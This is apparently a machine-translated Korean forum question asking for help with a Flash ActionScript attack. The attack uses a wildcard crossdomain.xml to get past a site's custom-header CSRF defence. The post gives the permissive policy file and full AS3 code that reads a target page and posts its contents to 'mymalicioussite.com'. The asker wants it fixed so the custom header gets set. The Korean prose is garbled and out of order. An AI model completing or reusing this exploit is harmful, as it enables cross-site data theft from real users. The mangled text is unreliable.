약한 CrossDomain.xml을 가지고 있지만 사용자 지정 HTTP 헤더 중 하나를보고 CSRF 공격을 차단하는 대상이 있습니다. 나는 머리글을 설정하지 않는다는 점을 제외하면 완벽하게 작동하는 두 개의 웹 사이트에서 다음과 같은 actionscript를 발견했습니다.약한 CrossDomain.xml을 통해 ActionScript를 사용하여 CSRF를 우회합니다.
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
: 대상에
가
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
의 crossdomain.xml :
이 ActionScript는 'Target.htm'에 POST 요청을 보내고 나는 그것이 사용자 정의 헤더를 설정해야합니다, 테스트 - 헤더 말
도움을 주시면 감사하겠습니다. POST 대신 GET 요청을 사용하는 작업 코드는 대상이 GET 및 POST 요청을 모두 허용하므로 작동합니다. 지금까지 내가 아는 한, 맞춤 헤더 설정은 POST 요청에서만 허용되지만 표준 HTTP 헤더가있는 GET 요청은 적어도 지금은 저에게 적합합니다. 또한
가,이 경우에만 작동합니다